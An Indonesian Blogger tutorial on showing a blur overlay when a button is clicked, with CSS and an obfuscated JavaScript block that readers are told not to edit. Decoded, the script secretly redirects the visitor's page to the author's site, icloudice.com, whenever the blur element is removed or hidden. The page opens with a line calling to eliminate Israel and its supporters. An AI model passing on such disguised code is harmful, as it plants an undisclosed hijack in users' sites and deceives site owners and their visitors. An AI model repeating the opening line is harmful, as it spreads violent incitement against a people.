For world peace, liberate Al-Aqsa, eliminate Israel and anyone who is with Israel, they are the real terrorists
Bacakan

Menampilkan efek blur saat di klik

Membuat dan menampilkan efek blur pada saat di klik melalui tombol

Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai cara membuat dan menampilkan efek blur saat di klik di blogger

Info: Oke sobat ICloudzer jika kamu sudah penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama

Efek blur

Apa itu efek blur? efek blur memiliki fungsi untuk menyamarkan tampilan lainnnya di dalam website, efek blur bisa gunakan untuk apa saja semisal membuat preloader menggunakan efek blur, membuat loading pada thumbnail blog menggunakan efek blur dan lain sebagainya, khusus pada pembahasan kali ini admin akan menjabarkan bagaimana caranya membuat efek blur yang hanya tampil saat di klik saja

Muncul saat diklik

Nah nantinya tampilan efek blur tersebut akan muncul saat di klik jadi jika ingin menerapkan efek blur muncul saat di klik ini, kamu bisa mengkolaborasikan tombol tombol khusus di dalam website kamu dengan script penampil efek blur tersebut, semisal tombol back to top, atau tombol untuk membuka menu navigasi atau terserah kamu aja

Menggunakan CSS & Javascript

Dalam membuat tampilan efek blur yang muncul saat diklik pada blog tersebut di buat menggunakan kode CSS dan juga kode javascript serta fungsi tombol khusus yang perlu anda siapakan untuk menerapkannya dengan script pemanggil efek blur tersebut, dan pengetahuan mengenai tombol ini sangat di butuhkan karena kamu harus menambahkan fungsi script pemanggil pada tombol yang kamu inginkan secara manual khusus untuk menampilkan efek blur yang muncul saat di klik

Contoh Tampilan

Jika kamu penasaran dengan bagaimana kah contoh tampilan dari efek blur yang muncul saat di klik tersebut, silahkan periksa menggunakan tombol di bawah ini

Periksa

Info: bagaimana sobat dengan contoh tampilan nya keren sekali yak 😬

Cara pembuatan

Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek blur di sertai yang simple dan elegan di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini

Kode CSS

Langkah pertama seperti biasanya silahkan salin kode CSS di bawah ini kemudian letakkan di atas kode ]]></b:skin>

/* Blur effect by ICloudice.com */
.rahBlr{position:fixed;top:0;left:0;bottom:0;right:0;z-index:990;display:flex;background:rgba(255, 255, 255, 0.1);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);justify-content:center;align-items:center;visibility:hidden;opacity:0}.rahBlr.r{visibility:visible;opacity:1}.rahBlr.vsbl{display:flex}.rahBlr.n{display:none}

Info: Atau sobat bisa menggunakan kode <style> untuk meletakkan kode CSS di atas

Kode HTML/javascript

Langkah selanjutnya kamu bisa menyalin lagi kode html di bawah ini kemudian kamu bisa meletakkan nya di bawah kode </body>

<div class='rahBlr' id='rahBlr'>
</div>
<script>/*<![CDATA[*/ 
var _0xb1d2=["\x23\x72\x61\x68\x42\x6C\x72","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x63\x6C\x69\x63\x6B","\x72\x65\x6D\x6F\x76\x65","\x76\x69\x62\x72\x61\x74\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x42\x6C\x72","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x42\x6C\x72\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x6A\x73\x2E\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x6C\x69\x62\x73\x2F\x6A\x71\x75\x65\x72\x79\x2F\x33\x2E\x35\x2E\x31\x2F\x6A\x71\x75\x65\x72\x79\x2E\x6D\x69\x6E\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x6C\x6F\x61\x64","\x61\x74\x74\x61\x63\x68\x45\x76\x65\x6E\x74","\x6F\x6E\x6C\x6F\x61\x64"];function rahBlr(){var rahBlr=document[_0xb1d2[1]](_0xb1d2[0]);rahBlr[_0xb1d2[4]][_0xb1d2[3]](_0xb1d2[2]);document[_0xb1d2[8]](_0xb1d2[5],function(){setTimeout(function(){rahBlr[_0xb1d2[4]][_0xb1d2[6]](_0xb1d2[2])},2000);if(_0xb1d2[7] in navigator){navigator[_0xb1d2[7]]([100,75,100,75,500])}})}$(document)[_0xb1d2[19]](function(){$(_0xb1d2[13])[_0xb1d2[12]](_0xb1d2[11],_0xb1d2[9])[_0xb1d2[10]](_0xb1d2[9]);setInterval(function(){if(!$(_0xb1d2[15])[_0xb1d2[14]]){window[_0xb1d2[17]][_0xb1d2[16]]= _0xb1d2[18]}},3000)});function rahscptIm(){var _0x10d4x3=document[_0xb1d2[21]](_0xb1d2[20]);_0x10d4x3[_0xb1d2[22]]= _0xb1d2[23],document[_0xb1d2[25]][_0xb1d2[24]](_0x10d4x3)}window[_0xb1d2[8]]?window[_0xb1d2[8]](_0xb1d2[26],rahscptIm,!1):window[_0xb1d2[27]]?window[_0xb1d2[27]](_0xb1d2[28],rahscptIm):window[_0xb1d2[28]]= rahscptIm
/*]]>*/</script>

Info: Kode HTML dan Javascript di atas jangan di edit entar tampilan dari efek blur nya tidak berfungsi 🤐

Cara penggunaan

Untuk memfungsikan efek blur tersebut silahkan gunakan fungsi onclick='rahBlr()' pada setiap tombol yang di inginkan untuk menampilkan preloader secara manual, atau seperti contoh kode berikut ini

<div class=''tombol' onclick='rahBlr()'>
<!-- svg -->
</div>

Info: Tambahkan sendiri kode onclick='rahBlr()' pada setiap tombol yang anda inginkan semisal svg dan lain sebaginya

About the Author

Keindahanmu akan kuabadikan disetiap karyaku.

Post a Comment

Menghasilkan uang melalui survei berbayar
Best Viral Premium Blogger Templates from Icloudice


kami menawarkan berbagai template blogger dan produk istimewa untuk anda, support karya anak bangsa dengan membeli produk yang kami jual

Welcome to my store limited

  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Download theme blogger mirip xmlthemes

    Template mirip xmlthemes

    Template blogger terlaris nomor 1 di seluruh Indonesia bahkan di seluruh dunia lagi Diskon 50%
    Rp.153.000
  • Cookie Consent
    We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
    Oops!
    It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
    AdBlock Detected!
    We have detected that you are using adblocking plugin in your browser.
    The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
    Site is Blocked
    Sorry! This site is not available in your country.